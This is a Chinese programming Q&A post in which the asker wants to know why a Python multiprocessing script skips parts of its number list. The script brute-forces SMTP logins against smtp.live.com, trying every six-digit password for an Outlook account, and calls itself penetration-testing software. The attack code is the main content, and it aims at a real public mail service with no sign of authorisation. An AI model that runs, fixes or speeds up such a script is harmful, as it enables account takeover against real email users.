为什么我的SMTP多线程Bruteforce软件忽略了我的一些单词列表?

2024-04-28 21:20:40 发布

您现在位置:Python中文网/ 问答频道 /正文

我正试图用python制作一个渗透测试软件,但是当我使用多处理时,它跳过了单词表的一部分。我正在用六位密码模拟单词列表。你知道吗

如果我只写print(value),它就会成功,但是对于下面所有的mailserver登录,它会跳过部分值。你知道吗

import smtplib
import multiprocessing

mailserver = smtplib.SMTP('smtp.live.com',587)
mailserver.ehlo()
mailserver.starttls()

def testvalue(value):
    print(value)
    try:
        mailserver.login('email@outlook.com', str(value))
        print(value)
        raise ValueError(value)
    except smtplib.SMTPAuthenticationError:
        nothing=True

pooll=multiprocessing.Pool(12)
pooll.map(testvalue,range(100000,999999))
pooll.close()

mailserver.quit()

结果应该是一个从100000到999999的连续数字列表,以及一个带有实际密码的ValueError断点。我看到的数字有很大的跳过,例如200000,210500,而这个列表并没有想象的那么大。你知道吗


Tags: importcom密码列表value数字multiprocessingsmtplib